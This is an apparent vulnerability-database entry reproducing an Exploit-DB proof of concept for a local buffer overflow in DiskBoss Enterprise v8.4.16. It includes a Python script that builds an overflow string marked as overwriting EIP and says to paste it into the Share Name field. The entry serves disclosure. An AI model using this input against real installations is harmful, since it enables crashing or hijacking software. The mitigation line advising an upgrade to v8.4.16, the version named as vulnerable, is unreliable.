DiskBoss Enterprise v8.4.16 Local Buffer Overflow(PoC)

vendor:

DiskBoss Enterprise

by:

Touhid M.Shaikh

7,8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: DiskBoss Enterprise

Affected Version From: v8.4.16

Affected Version To: v8.4.16

Patch Exists: Yes

Related CWE: N/A

CPE: a:flexense:diskboss_enterprise:8.4.16

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 x86

2017

DiskBoss Enterprise v8.4.16 Local Buffer Overflow(PoC)

DiskBoss Enterprise v8.4.16 is vulnerable to a local buffer overflow vulnerability. By sending a specially crafted string of 1312 A characters followed by 4 B characters and 500 D characters, an attacker can overwrite the EIP register and execute arbitrary code.

Mitigation:

Upgrade to the latest version of DiskBoss Enterprise v8.4.16

Source

Exploit-DB raw data:

#!/usr/bin/python

#========================================================================================================================
# Exploit Author: Touhid M.Shaikh
# Exploit Title: DiskBoss Enterprise v8.4.16 Local Buffer Overflow(PoC)
# Date: 28-09-2017
# Website: www.touhidshaikh.com
# Vulnerable Software: DiskBoss Enterprise v8.4.16
# Vendor Homepage: http://www.diskboss.com
# Version: v8.4.16
# Software Link: http://www.diskboss.com/downloads.html
# Tested On: Windows 7 x86
#
#
# To reproduce the exploit:
#   1. Click Server
#   2. Click Connect
#   3. In the "Share Name" field, paste the content of buffer.txt , And try
to connect.........BOOoom....
#
#========================================================================================================================


junk = "A"*1312

EIP = "B"*4 #EIP overwritten

b = junk+EIP+"D"*500

f = open('buffer.txt','w')
f.write(b)
f.close()